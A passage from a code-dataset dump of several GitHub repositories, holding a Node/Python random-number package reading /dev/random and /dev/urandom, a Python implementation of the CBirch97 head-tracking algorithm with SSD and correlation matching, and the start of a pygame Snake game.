check(++count);\n }\n })\n .catch(e => { console.error(e); });\n }\n });\n it('Making n multiply-with-carry', done => {\n const check = c => {\n if (c === n) { done(); }\n };\n let count = 0;\n for (let i = 0; i < n; i++) {\n mwc(1)\n .then(r => {\n if (r >= 0 && r < 1) {\n check(++count);\n }\n })\n .catch(e => { console.error(e); });\n }\n });\n});\n" }, { "alpha_fraction": 0.47643980383872986, "alphanum_fraction": 0.5680628418922424, "avg_line_length": 20.22222137451172, "blob_id": "9d39d3ca776ea1f5f781bcadc6229079c98efea2", "content_id": "4364b85265f444cab561232b1e6d1b9818dc6c2e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 382, "license_type": "permissive", "max_line_length": 62, "num_lines": 18, "path": "/rand/rand.py", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "import numpy as np\nimport sys\n\n\ndef rand(n):\n with open('/dev/random', 'rb') as rnd:\n a = np.fromstring(rnd.read(n*4), dtype=np.uint32) >> 5\n b = np.fromstring(rnd.read(n*4), dtype=np.uint32) >> 6\n return (a * 67108864.0 + b) / 9007199254740992.0\n\n\ndef main():\n print(rand(int(sys.argv[1])))\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6470588445663452, "avg_line_length": 33, "blob_id": "11d82dafb1998ee4c32c5da3f31393edb2ae2545", "content_id": "9f827c80bd8316102a66b769a92a972b86bc848e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 102, "license_type": "permissive", "max_line_length": 35, "num_lines": 3, "path": "/index.js", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "exports.rand = require('./rand');\nexports.urand = require('./urand');\nexports.mwc = require('./mwc');\n" }, { "alpha_fraction": 0.5014577507972717, "alphanum_fraction": 0.6034985184669495, "avg_line_length": 18.05555534362793, "blob_id": "7b78caced92cced2cd4ad737ef88cb4faba5b004", "content_id": "bcb71e2f838fd87acaea5e82f2771b939329d9a9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "permissive", "max_line_length": 60, "num_lines": 18, "path": "/urand/urand.py", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "import os\nimport numpy as np\nimport sys\n\n\ndef urand(n):\n a = np.fromstring(os.urandom(n*4), dtype=np.uint32) >> 5\n b = np.fromstring(os.urandom(n*4), dtype=np.uint32) >> 6\n return (a * 67108864.0 + b) / 9007199254740992.0\n\n\ndef main():\n print(urand(int(sys.argv[1])))\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6090583801269531, "alphanum_fraction": 0.6293206214904785, "avg_line_length": 23.705883026123047, "blob_id": "b0304727636957575be910047ea02f777de6667b", "content_id": "f599a4e4af8dbd2073a7c1e5e89742f5ebceb574", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 839, "license_type": "permissive", "max_line_length": 110, "num_lines": 34, "path": "/README.md", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "## PRAND random generators with device entropy sources, 'nix only\n\n### Prerequisites\n- `python`, `numpy`, `cython`\n\n### Install\n```bash\nnpm i prand\n```\n\n1. `rand` uses `/dev/random` as entropy, returns `n` random numbers in `[0, 1)` range\n```javascript\nconst rand = require('prand').rand;\nlet n = 5;\nrand(n)\n .then(r => {\n console.log(r);\n })\n .catch(e => { console.error(e); });\n```\n\n2. `urand` (pseudo-random) uses `/dev/urandom` as entropy, returns `n` pseudo-random numbers in `[0, 1)` range\n```javascript\nconst urand = require('prand').urand;\nlet n = 8;\nurand(n)\n .then(r => {\n console.log(r);\n })\n .catch(e => { console.error(e); });\n```\n3. `mwc` (multiply-with-carry) and `mersenne-twister` are deprecated\n\n[background](https://stackoverflow.com/questions/22680441/using-the-hardware-rng-from-python)" }, { "alpha_fraction": 0.7421383857727051, "alphanum_fraction": 0.7421383857727051, "avg_line_length": 21.714284896850586, "blob_id": "b114426c778a31e612685a2e715e5515b1d6b68f", "content_id": "8fa5b5014082d689ae91aff197b25b845889499a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 159, "license_type": "permissive", "max_line_length": 41, "num_lines": 7, "path": "/mwc/setup.py", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "from distutils.core import setup\nfrom Cython.Build import cythonize\n\nsetup(\n name='Multiply with carry random',\n ext_modules=cythonize('mwc/mwc.pyx'),\n)\n" }, { "alpha_fraction": 0.5695364475250244, "alphanum_fraction": 0.5761589407920837, "avg_line_length": 11.666666984558105, "blob_id": "a9ab7c3ca9b0db2e41e5317e6b29f1fee11e55d6", "content_id": "12463efa0689131c5db65563522d8d8a0c13dc7a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 151, "license_type": "permissive", "max_line_length": 32, "num_lines": 12, "path": "/mwc/mwc.py", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "import numpy as np\nimport sys\nimport mwc \n\n\ndef main():\n print(mwc(int(sys.argv[1])))\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n main()" } ]
7
PeterJochem/CBirch_97
https://github.com/PeterJochem/CBirch_97
2ab2667b679157ba7714d68ead005f6cb9664b7a
0bbb2029da091c13dcd99091bf2d9c498bf9bd2b
9d9bc6df1acfda5d85fb1b73ff8bf5ec0c851d56
refs/heads/master
2022-04-18T11:29:36.493741
2020-03-26T02:25:31
2020-03-26T02:25:31
221,077,094
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7592997550964355, "alphanum_fraction": 0.7691466212272644, "avg_line_length": 64.07142639160156, "blob_id": "efec546e1f561b95749e6d2b527c20bcc4960b22", "content_id": "e6fc9b8fbcfed87864b9efecbd810dda0dd8c851", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 914, "license_type": "no_license", "max_line_length": 238, "num_lines": 14, "path": "/README.md", "repo_name": "PeterJochem/CBirch_97", "src_encoding": "UTF-8", "text": "# Description\nThis is my implementation of the CBirch_97 algorithm for head tracking\n\n# Results\nHere is an example of my algorithm at work\n\n![Example of CBirch Tracking Algorithm](https://github.com/PeterJochem/CBirch_97/blob/master/CBirch97.gif \"My Implemntation Results\")\n\n# How to Run my Code\nTo process the image set with sum of square errors, run ```python3 cbirch.py sse```. The resulting output is in a file called output_sum_square.avi. If any part of the frame leaves the image, then I choose to simply not display the frame.\n \nTo process the image set with cross correlation, run ```python3 cbirch.py cc```. The output is in a file called output_cc.avi. If any part of the frame leaves the image, then I choose to simply not display the bounding box. \n\nTo process the image set with normalized cross correlation run ```python3 cbirch.py ncc```. The output is in a file called output_normalized_cc.avi\n\n\n\n" }, { "alpha_fraction": 0.5652430057525635, "alphanum_fraction": 0.5817010998725891, "avg_line_length": 27.0216007232666, "blob_id": "7244d6edc7609a1fc152c826bdfccdabe688f092", "content_id": "a1f638a442f20b2e5f0412538b9a4dbf25dc86be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22056, "license_type": "no_license", "max_line_length": 107, "num_lines": 787, "path": "/cbirch.py", "repo_name": "PeterJochem/CBirch_97", "src_encoding": "UTF-8", "text": "import math\nfrom skimage import color\nfrom skimage import io\nimport imageio\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom skimage import color\nimport cv2 as cv\nfrom mpl_toolkits import mplot3d\nimport sys\n\nfrom decimal import * \n\n##############\n# Globals go here\npriorImage = None\npriorEllipse = None\nsigma = 1.2\nscaleFactor = 14\n##############\n\n# This method draws the two vertical lines onto the image\ndef drawVerticalLine(image, rowValue):\n\n for y in range(len(image ) ):\n image[y][rowValue][0] = 0\n image[y][rowValue][1] = 0\n image[y][rowValue][2] = 0\n\n return image\n\ndef drawHorizontalLine(image, columnValue):\n\n # Draw the first horizontal line\n for x in range(len(image[0]) ):\n image[columnValue][x][0] = 0\n image[columnValue][x][1] = 0\n image[columnValue][x][2] = 0\n \n\n return image\n\n\n# This method draws a bounding box centered \n# at the point (x,y) and with dimensions height, width\ndef drawBoundingBox(image, x, y, height, width):\n \n shiftLeft = float(width) / 2.0\n shiftUp = float(height) / 2.0\n \n # Compute the columns to put our horizontal lines\n columnValue1 = y - int(shiftUp)\n columnValue2 = y + int(shiftUp)\n \n # Compute the rows to put the vertical lines\n rowValue1 = x - int(shiftLeft)\n rowValue2 = x + int(shiftLeft)\n \n # Check for the bounding box leaving the frame\n if ( (rowValue1 >= len(image) ) or ( rowValue1 < 0 ) ):\n return image\n\n elif( (rowValue2 >= len(image) ) or (rowValue2 < 0) ):\n return image\n\n elif( (columnValue1 >= 96 ) or ( columnValue1 < 0) ):\n return image\n \n elif ( (columnValue2 >= 96 ) or ( columnValue2 < 0) ):\n return image\n\n\n # Draw the first horizontal line\n for i in range( x + int(-shiftLeft), x + int(shiftLeft) ):\n image[columnValue1][i][0] = 0\n image[columnValue1][i][1] = 255\n image[columnValue1][i][2] = 0\n\n # Draw the second horizontal line\n for i in range( x + int(-shiftLeft), x + int(shiftLeft) ):\n image[columnValue2][i][0] = 0\n image[columnValue2][i][1] = 255\n image[columnValue2][i][2] = 0\n\n \n # Draw the first vertical line\n for i in range( y + int(-shiftUp), y + int(shiftUp) ):\n image[i][rowValue1][0] = 0\n image[i][rowValue1][1] = 255\n image[i][rowValue1][2] = 0\n \n # Draw the second vertical line\n for i in range( y + int(-shiftUp), y + int(shiftUp) ):\n image[i][rowValue2][0] = 0\n image[i][rowValue2][1] = 255\n image[i][rowValue2][2] = 0\n\n return image\n\n\n\n\n# This method opens an image from disk and \n# stores a refrence to it in the global var \"image\"\n# The input imageName is a path to the image -\n# The image must be in the current directory\ndef importImage(imageName):\n\n try:\n # image = imageio.imread(imageName) \n image = cv.imread(imageName)\n return image\n except:\n print(\"There was an IO error opening the image\")\n \n return None\n\n# This method will import the N-th image in a dataset\ndef importImage_N(N):\n nameBase = \"image_girl/\"\n\n # Create/import the list of all the images\n imageNumber = 0\n if (N < 10):\n imageNumber = \"000\"\n elif ( N < 100):\n imageNumber = \"00\"\n elif ( N > 100):\n imageNumber = \"0\"\n\n newName = nameBase + str(imageNumber) + str(N) + str(\".jpg\")\n newImage = importImage(newName)\n \n return newImage\n\n# This class describes a 2-D histogram of pixel values \nclass histogram:\n \n def __init__(self, image, numColorBins):\n \n self.image = image\n \n self.colorBins = np.zeros(numColorBins)\n\n # FIX ME FIX ME FIX ME FIX ME FIX ME FIX ME\n # Creates color space histogram in RGB space \n def processImage_(self):\n\n # recording the number of occurunces of each color value\n for i in range(len(self.image) ):\n for j in range(len(self.image[i] ) ):\n \n pass\n\n # self.colorBins[] = \n\n\n# This class stores information about a given ellipse\nclass ellipse:\n\n # Constructor\n def __init__(self, x, y, sigma, scaleFactor):\n \n self.x = x\n self.y = y\n self.sigma = sigma\n \n self.a = scaleFactor * sigma\n self.b = scaleFactor * 1\n\n\n# This method will display a given image in grayscale\ndef display_gray(image):\n \n cv.namedWindow('image', cv.WINDOW_NORMAL)\n cv.resizeWindow('image', 500, 500)\n cv.imshow('image', image)\n cv.waitKey(0) \n # plt.imshow(image)\n # plt.show()\n\n# This method will display a given image in color\ndef display_color(image):\n plt.imshow(image)\n plt.show()\n\n\n# Given an ellipse, compute if the given point is inside the ellipse\n# (x,y) is a point in the image\ndef isInside(myEllipse, x, y):\n \n\n term1 = float( ( (myEllipse.x - x)**2) ) / float(myEllipse.b**2)\n term2 = float( ( (myEllipse.y - y)**2) ) / float(myEllipse.a**2)\n \n if ( (term1 + term2) < 1):\n return True\n\n\n return False\n\n\n# This checks that a given (x,y) pair in an image exists \ndef isLocation(image, x, y):\n \n if ( len(image) <= y):\n return False\n \n if ( len(image[0] ) <= x ):\n return False\n \n if ( (x < 0) or (y < 0) ):\n return False\n\n return True\n\n\ndef drawEllipse(newImage, newEllipse):\n global priorImage\n\n # The template's ellipses's location\n #x_c = priorEllipse.x \n #y_c = priorEllipse.y \n\n x_c = newEllipse.x\n y_c = newEllipse.y\n\n # How far to search over the image\n width = int(newEllipse.a) \n height = int(newEllipse.b) \n\n # Traverse a rectangular section of the image\n for y in range( -1 * height, height ):\n for x in range( -1 * width, width ):\n\n # Current pixel in the new search window\n currentX = int(x_c + x)\n currentY = int(y_c + y)\n\n if ( isLocation(newImage, currentX, currentY) ):\n if ( isInside(newEllipse, currentX, currentY) == True):\n\n newImage[currentY][currentX][0] = 0\n\n return newImage\n\n\n# This method takes an ellipse and constructs \n# its sum of square distances (SSD)\ndef ncc(newImage, priorEllipse, newEllipse):\n \n global priorImage\n\n x_c = newEllipse.x\n y_c = newEllipse.y\n\n x_c_old = priorEllipse.x\n y_c_old = priorEllipse.y\n\n # How far to search over the image\n width = int(priorEllipse.a)\n height = int(priorEllipse.b)\n \n prior_sum = 0\n new_sum = 0\n prior_denom = 0\n new_denom = 0\n\n my_ncc = 0\n\n # Traverse a rectangular section of the image\n # Compute the average of each image's section\n for y in range( -1 * height, height ):\n for x in range( -1 * width, width ):\n\n # Current pixel in the new search window\n currentX = int(x_c + x)\n currentY = int(y_c + y)\n\n old_x = int(x_c_old + x)\n old_y = int(y_c_old + y)\n\n # check other location\n if ( isLocation(newImage, currentX, currentY) and isLocation(priorImage, old_x, old_y) ):\n if ( isInside(newEllipse, currentX, currentY) == True):\n\n prior_sum = prior_sum + priorImage[old_y][old_x]\n prior_denom = prior_denom + 1\n\n new_sum = new_sum + newImage[currentY][currentX]\n new_denom = new_denom + 1\n \n\n # Compute the averages\n prior_avg = float(prior_sum) / float(prior_denom)\n new_avg = float(new_sum) / float(new_denom)\n\n # Is this the right way to interpet the equation?\n old_hat = 0\n new_hat = 0\n\n # Traverse the region again\n for y in range( -1 * height, height ):\n for x in range( -1 * width, width ):\n\n # Current pixel in the new search window\n currentX = int(x_c + x)\n currentY = int(y_c + y)\n\n old_x = int(x_c_old + x)\n old_y = int(y_c_old + y)\n\n # check other location\n if ( isLocation(newImage, currentX, currentY) and isLocation(priorImage, old_x, old_y) ):\n if ( isInside(newEllipse, currentX, currentY) == True):\n \n # Compute the statistic\n i_new = newImage[currentY][currentX]\n i_new = i_new - new_avg \n\n \n i_t = priorImage[old_y][old_x]\n i_t = i_t - prior_avg \n\n # update normalization terms \n old_hat = old_hat + i_t**2\n new_hat = new_hat + i_new**2\n\n \n my_ncc = my_ncc + (i_new * i_t)\n\n\n \n # Normalize the ncc\n my_ncc = my_ncc / math.sqrt( ( (old_hat) * (new_hat) ) ) \n\n # print(\"The ncc is \" + str(my_ncc) )\n return my_ncc\n\n\n\n# This method takes an ellipse and constructs \n# its sum of square distances (SSD)\ndef cc(newImage, priorEllipse, newEllipse):\n\n global priorImage\n\n x_c = newEllipse.x\n y_c = newEllipse.y\n\n x_c_old = priorEllipse.x\n y_c_old = priorEllipse.y\n\n # How far to search over the image\n width = int(priorEllipse.a)\n height = int(priorEllipse.b)\n\n cc = 0\n\n # Traverse a rectangular section of the image\n for y in range( -1 * height, height ):\n for x in range( -1 * width, width ):\n\n # Current pixel in the new search window\n currentX = int(x_c + x)\n currentY = int(y_c + y)\n\n old_x = int(x_c_old + x)\n old_y = int(y_c_old + y)\n\n # check other location\n if ( isLocation(newImage, currentX, currentY) and isLocation(priorImage, old_x, old_y) ):\n if ( isInside(newEllipse, currentX, currentY) == True):\n\n # Compute the statistic\n i_new = newImage[currentY][currentX]\n\n # SHOULD THIS BE newIMAGE?? or priorImage???\n # ???????????? \n # Should the coordinates be diffrent \n # i_t = priorImage[currentY][currentX] \n i_t = priorImage[old_y][old_x]\n # print(i_t)\n\n cc = cc + (i_new * i_t) \n\n # print(\"The cc is \" + str(cc) )\n return cc\n\n\n\n# This method takes an ellipse and constructs \n# its sum of square distances (SSD)\ndef ssd(newImage, priorEllipse, newEllipse): \n \n global priorImage\n \n x_c = newEllipse.x\n y_c = newEllipse.y\n\n x_c_old = priorEllipse.x\n y_c_old = priorEllipse.y\n\n # How far to search over the image\n width = int(priorEllipse.a) \n height = int(priorEllipse.b) \n \n ssd = 0\n\n # Traverse a rectangular section of the image\n for y in range( -1 * height, height ):\n for x in range( -1 * width, width ):\n \n # Current pixel in the new search window\n currentX = int(x_c + x) \n currentY = int(y_c + y)\n \n old_x = int(x_c_old + x)\n old_y = int(y_c_old + y)\n \n # check other location\n if ( isLocation(newImage, currentX, currentY) and isLocation(priorImage, old_x, old_y) ):\n if ( isInside(newEllipse, currentX, currentY) == True):\n \n # Compute the statistic\n i_new = newImage[currentY][currentX]\n\n # SHOULD THIS BE newIMAGE?? or priorImage???\n # ???????????? \n # Should the coordinates be diffrent \n # i_t = priorImage[currentY][currentX] \n i_t = priorImage[old_y][old_x]\n # print(i_t)\n \n ssd = ssd + ( (i_new - i_t)**2) \n\n return ssd\n\n\ndef localSearch_ncc(newImage, stride, totalSearch):\n\n global priorImage\n global priorEllipse\n global sigma\n global scaleFactor\n\n x = priorEllipse.x\n y = priorEllipse.y\n\n offset = np.linspace(0, totalSearch, stride)\n\n allNums = np.array( [] )\n allEllipses = np.array( [] )\n\n # For each offset, compute the ssd for the new ellipse\n for i in range(len(offset) ):\n\n # Shift just the x \n newE1 = ellipse(x + offset[i], y, sigma, scaleFactor)\n newE2 = ellipse(x - offset[i], y, sigma, scaleFactor)\n num1 = ncc(newImage, priorEllipse, newE1)\n num2 = ncc(newImage, priorEllipse, newE2)\n\n # Shift the y\n newE3 = ellipse(x, y + offset[i], sigma, scaleFactor)\n newE4 = ellipse(x, y - offset[i], sigma, scaleFactor)\n num3 = ncc(newImage, priorEllipse, newE3)\n num4 = ncc(newImage, priorEllipse, newE4)\n\n # Shift the x and y - in same directon\n newE5 = ellipse(x + offset[i], y + offset[i], sigma, scaleFactor)\n newE6 = ellipse(x - offset[i], y - offset[i], sigma, scaleFactor)\n num5 = ncc(newImage, priorEllipse, newE5)\n num6 = ncc(newImage, priorEllipse, newE6)\n\n # Shift the x and y - in opposite directons\n newE7 = ellipse(x + offset[i], y - offset[i], sigma, scaleFactor)\n newE8 = ellipse(x - offset[i], y + offset[i], sigma, scaleFactor)\n num7 = ncc(newImage, priorEllipse, newE7)\n num8 = ncc(newImage, priorEllipse, newE8)\n\n # Don't shift the window at all\n newE9 = ellipse(x, y, sigma, scaleFactor)\n num9 = ncc(newImage, priorEllipse, newE9)\n\n\n nums = np.array( [num1, num2, num3, num4, num5, num6, num7, num8, num9] )\n ellipses = np.array( [newE1, newE2, newE3, newE4, newE5, newE6, newE7, newE8, newE9] )\n\n allNums = np.append(allNums, nums)\n allEllipses = np.append( allEllipses, ellipses )\n\n\n # Traverse each number and find the smallest one\n maxIndex = 0\n maxValue = -1000\n for i in range(len(allNums) ):\n\n if ( (maxValue) < (allNums[i] ) ):\n maxIndex = i\n maxValue = allNums[i]\n\n #print(\"The maxIndex is \" + str(maxIndex) )\n #print(\"The length of allNums is \" + str(len(allNums)) )\n # print(allNums[minIndex] )\n desiredEllipse = allEllipses[maxIndex]\n\n return desiredEllipse\n\n\n\n# Search locally \n# stride is the delta in x and y for the next point\n# totalSearch is how far in total to search over in both \n# the x and y directions\ndef localSearch_cc(newImage, stride, totalSearch):\n\n global priorImage\n global priorEllipse\n global sigma\n global scaleFactor\n\n x = priorEllipse.x\n y = priorEllipse.y\n\n offset = np.linspace(0, totalSearch, stride)\n # print(offset)\n\n allNums = np.array( [] )\n allEllipses = np.array( [] )\n\n # For each offset, compute the ssd for the new ellipse\n for i in range(len(offset) ):\n\n # Shift just the x \n newE1 = ellipse(x + offset[i], y, sigma, scaleFactor)\n newE2 = ellipse(x - offset[i], y, sigma, scaleFactor)\n num1 = cc(newImage, priorEllipse, newE1)\n num2 = cc(newImage, priorEllipse, newE2)\n\n # Shift the y\n newE3 = ellipse(x, y + offset[i], sigma, scaleFactor)\n newE4 = ellipse(x, y - offset[i], sigma, scaleFactor)\n num3 = cc(newImage, priorEllipse, newE3)\n num4 = cc(newImage, priorEllipse, newE4)\n\n # Shift the x and y - in same directon\n newE5 = ellipse(x + offset[i], y + offset[i], sigma, scaleFactor)\n newE6 = ellipse(x - offset[i], y - offset[i], sigma, scaleFactor)\n num5 = cc(newImage, priorEllipse, newE5)\n num6 = cc(newImage, priorEllipse, newE6)\n\n # Shift the x and y - in opposite directons\n newE7 = ellipse(x + offset[i], y - offset[i], sigma, scaleFactor)\n newE8 = ellipse(x - offset[i], y + offset[i], sigma, scaleFactor)\n num7 = cc(newImage, priorEllipse, newE7)\n num8 = cc(newImage, priorEllipse, newE8)\n\n # Don't shift the window at all\n newE9 = ellipse(x, y, sigma, scaleFactor)\n num9 = cc(newImage, priorEllipse, newE9)\n\n\n nums = np.array( [num1, num2, num3, num4, num5, num6, num7, num8, num9] )\n ellipses = np.array( [newE1, newE2, newE3, newE4, newE5, newE6, newE7, newE8, newE9] )\n\n allNums = np.append(allNums, nums)\n allEllipses = np.append( allEllipses, ellipses )\n\n\n # print(\"The allNums array is \")\n # print(allNums)\n \n # Traverse each number and find the smallest one\n maxIndex = 0\n maxValue = -1000000000000000\n for i in range(len(allNums) ):\n\n if ( (maxValue) < (allNums[i] ) ):\n maxIndex = i\n maxValue = allNums[i]\n\n #print(\"The maxIndex is \" + str(maxIndex) )\n #print(\"The length of allNums is \" + str(len(allNums)) )\n # print(allNums[minIndex] )\n desiredEllipse = allEllipses[maxIndex]\n\n return desiredEllipse\n\n\n\n\n# Search locally \n# stride is the delta in x and y for the next point\n# totalSearch is how far in total to search over in both \n# the x and y directions\ndef localSearch_ssd(newImage, stride, totalSearch):\n \n global priorImage\n global priorEllipse\n global sigma\n global scaleFactor\n \n x = priorEllipse.x\n y = priorEllipse.y\n\n offset = np.linspace(0, totalSearch, stride)\n \n allNums = np.array( [] )\n allEllipses = np.array( [] )\n\n # For each offset, compute the ssd for the new ellipse\n for i in range(len(offset) ):\n \n # Shift just the x \n newE1 = ellipse(x + offset[i], y, sigma, scaleFactor)\n newE2 = ellipse(x - offset[i], y, sigma, scaleFactor)\n num1 = ssd(newImage, priorEllipse, newE1) \n num2 = ssd(newImage, priorEllipse, newE2)\n \n # Shift the y\n newE3 = ellipse(x, y + offset[i], sigma, scaleFactor)\n newE4 = ellipse(x, y - offset[i], sigma, scaleFactor) \n num3 = ssd(newImage, priorEllipse, newE3) \n num4 = ssd(newImage, priorEllipse, newE4)\n\n # Shift the x and y - in same directon\n newE5 = ellipse(x + offset[i], y + offset[i], sigma, scaleFactor)\n newE6 = ellipse(x - offset[i], y - offset[i], sigma, scaleFactor)\n num5 = ssd(newImage, priorEllipse, newE5)\n num6 = ssd(newImage, priorEllipse, newE6)\n\n # Shift the x and y - in opposite directons\n newE7 = ellipse(x + offset[i], y - offset[i], sigma, scaleFactor)\n newE8 = ellipse(x - offset[i], y + offset[i], sigma, scaleFactor)\n num7 = ssd(newImage, priorEllipse, newE7)\n num8 = ssd(newImage, priorEllipse, newE8)\n \n # Don't shift the window at all\n newE9 = ellipse(x, y, sigma, scaleFactor)\n num9 = ssd(newImage, priorEllipse, newE9)\n\n\n nums = np.array( [num1, num2, num3, num4, num5, num6, num7, num8, num9] ) \n ellipses = np.array( [newE1, newE2, newE3, newE4, newE5, newE6, newE7, newE8, newE9] )\n\n allNums = np.append(allNums, nums)\n allEllipses = np.append( allEllipses, ellipses )\n \n\n # print(\"The allNums array is \")\n # print(allNums)\n \n # Traverse each number and find the smallest one\n minIndex = 0\n minValue = 10000000000\n for i in range(len(allNums) ):\n \n if ( (minValue) > (allNums[i] ) ):\n minIndex = i\n minValue = allNums[i]\n \n # print(\"The minIndex is \" + str(minIndex) )\n # print(\"The length of allNums is \" + str(len(allNums)) )\n # print(allNums[minIndex] )\n desiredEllipse = allEllipses[minIndex]\n \n return desiredEllipse\n\n\n# This method will construct the video\ndef constructVideo(startingImage, startingEllipse, compareFunction):\n \n numImages = 500\n \n # To start, this is the first image \n priorImage = startingImage\n priorEllipse = startingEllipse\n \n\n for i in range(2, numImages + 1):\n \n # Get the next image in the set\n newImage = importImage_N(i)\n\n # Convert the image to grayscale\n image = cv.cvtColor(newImage, cv.COLOR_BGR2GRAY)\n\n # Get the edges of the image\n image = cv.Canny(image, 100, 300)\n display_gray(image)\n \n\n # \n # search(priorImage, newImage)\n \n\n # Draw the bounding box on the image\n newImage = drawVerticalLine(newImage, 40)\n newImage = drawHorizontalLine(newImage, 40) \n # Display the image for testing\n display_color(newImage)\n\n\n\n############ MAIN ###################\n\n# Import the starting image\nstartImage = importImage_N(1)\n\nstartEllipse = ellipse(70, 45, sigma, scaleFactor)\npriorEllipse = startEllipse\npriorImage = cv.cvtColor(startImage, cv.COLOR_BGR2GRAY)\n\nheight , width , layers = startImage.shape\n\n\nalgorithm = 1\nfileName = \"output_cc.avi\"\n# This is the desired algorithm to use\ntry:\n algorithm = sys.argv[1]\n if ( algorithm == \"ncc\" ):\n fileName = \"output_normalized_cc.avi\"\n elif (algorithm == \"sse\"):\n fileName = \"output_sum_square_error.avi\"\n \nexcept:\n algorithm = \"cc\"\n\n\nout = cv.VideoWriter(fileName, cv.VideoWriter_fourcc('M','J','P','G'), 10, (width, height))\n\nfor i in range(1, 500):\n\n \n currentImage_color = importImage_N(i)\n currentImage_gray = cv.cvtColor(currentImage_color, cv.COLOR_BGR2GRAY)\n \n # Run it with priorImage - it nails it!\n if ( algorithm == \"ncc\"):\n newEllipse = localSearch_ncc(currentImage_gray, 5, 5)\n elif ( algorithm == \"sse\" ):\n newEllipse = localSearch_ssd(currentImage_gray, 1, 2)\n else:\n newEllipse = localSearch_cc(currentImage_gray, 2, 2)\n\n\n\n\n # drawBoundingBox(image, x, y, height, width)\n # print(newEllipse.y)\n currentImage_color = drawBoundingBox(currentImage_color, int(newEllipse.x), int(newEllipse.y), 35, 35) \n # currentImage_color = drawEllipse(currentImage_color, returnedEllipse)\n \n # display_color(currentImage_color)\n out.write(currentImage_color)\n\n # Set up the next iteration\n priorEllipse = newEllipse\n priorImage = currentImage_gray\n\n\n\nout.release()\n\n\n\n\n\n\n\n\n# display_color(resultImage)\n\n# FIX ME \n# Choose a comparison function\n\n# Create the starting ellipse\n# constructVideo(startImage, 1, None)\n\n\n\n\n\n\n########### MAIN ####################\n\n\n\n" } ]
2
KGuetfade/SnakeAI
https://github.com/KGuetfade/SnakeAI
ce2b14e3e08c32d67047fc8bf3d2d5a4543fe5b5
e77fd49de04faa84b710cbdd9fa20a6ff1dc53fb
c2ae2440907c9969b94aec3242b69ced681aed60
refs/heads/master
2022-02-28T17:53:04.435852
2019-09-08T10:56:18
2019-09-08T10:56:18
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49033504724502563, "alphanum_fraction": 0.5152061581611633, "avg_line_length": 29.431371688842773, "blob_id": "e634fdc7bd94dfb825d808e5de73f5b55ef0bc43", "content_id": "840422e1c85fabbe7a7f259eb5030825dfa06cb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7760, "license_type": "no_license", "max_line_length": 147, "num_lines": 255, "path": "/Game.py", "repo_name": "KGuetfade/SnakeAI", "src_encoding": "UTF-8", "text": "import sys\nimport os\nimport time\nimport random\nimport math\nimport pygame as pg\nimport numpy as np\nfrom pygame.locals import *\nfrom Neuralnet import Neuralnet\n\nrandom.seed(time.time())\n\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\nclass Board:\n def __init__(self, bwidth, bheight, amount_tile_w, amount_tile_h):\n self.WIDTH = bwidth\n self.HEIGHT = bheight\n self.AMOUNT_TILES_W = amount_tile_w\n self.AMOUNT_TILES_H = amount_tile_h\n\n self.Tile_width = self.WIDTH / self.AMOUNT_TILES_W\n self.Tile_height = self.HEIGHT / self.AMOUNT_TILES_H\n\n self.Board_Coords = [[(x * self.Tile_width, y * self.Tile_height) for x in range(self.AMOUNT_TILES_W)] for y in range(self.AMOUNT_TILES_H)]\n self.Board_Data = [[0 for _ in range(self.AMOUNT_TILES_W)] for y in range(self.AMOUNT_TILES_H)]\n \n def convert_board_data(self):\n lst = []\n for i in self.Board_Data:\n for j in i:\n lst.append(j)\n return lst\n\n def draw_grid(self,surface):\n for i in range(len(self.Board_Coords)):\n for j in self.Board_Coords[i]:\n rect = (j[0], j[1], self.Tile_width, self.Tile_height)\n pg.draw.rect(surface, WHITE, rect, 1)\n\n def draw(self, surface):\n for i in range(len(self.Board_Data)):\n for j in range(len(self.Board_Data[i])):\n tile_type = self.Board_Data[i][j]\n tile_coords = (self.Board_Coords[i][j][0], self.Board_Coords[i][j][1], self.Tile_width, self.Tile_height)\n \n if tile_type is 0:\n pg.draw.rect(surface, BLACK, tile_coords, 0)\n elif tile_type is 1:\n pg.draw.rect(surface, GREEN, tile_coords, 0)\n elif tile_type is 2:\n pg.draw.rect(surface, RED, tile_coords, 0)\n\n self.draw_grid(surface)\n\n def update(self, Snake):\n for piece in Snake.Segments:\n self.Board_Data[piece[0]][piece[1]] = 3\n\n for i in range(len(self.Board_Data)):\n for j in range(len(self.Board_Data[i])):\n if self.Board_Data[i][j] is 1:\n self.Board_Data[i][j] = 0\n elif self.Board_Data[i][j] is 3:\n self.Board_Data[i][j] = 1\n\n self.Board_Data[Snake.Apple[0]][Snake.Apple[1]] = 2\n\nclass Snake:\n def __init__(self, bw, bh):\n self.Length = 3\n self.Segments = [[0,x] for x in range(3)]\n self.PrevSegs = []\n self.Apple = [random.randint(0, bh-1), random.randint(0, bw-1)]\n\n self.BW = bw\n self.BH = bh\n\n self.check_apple_position()\n\n 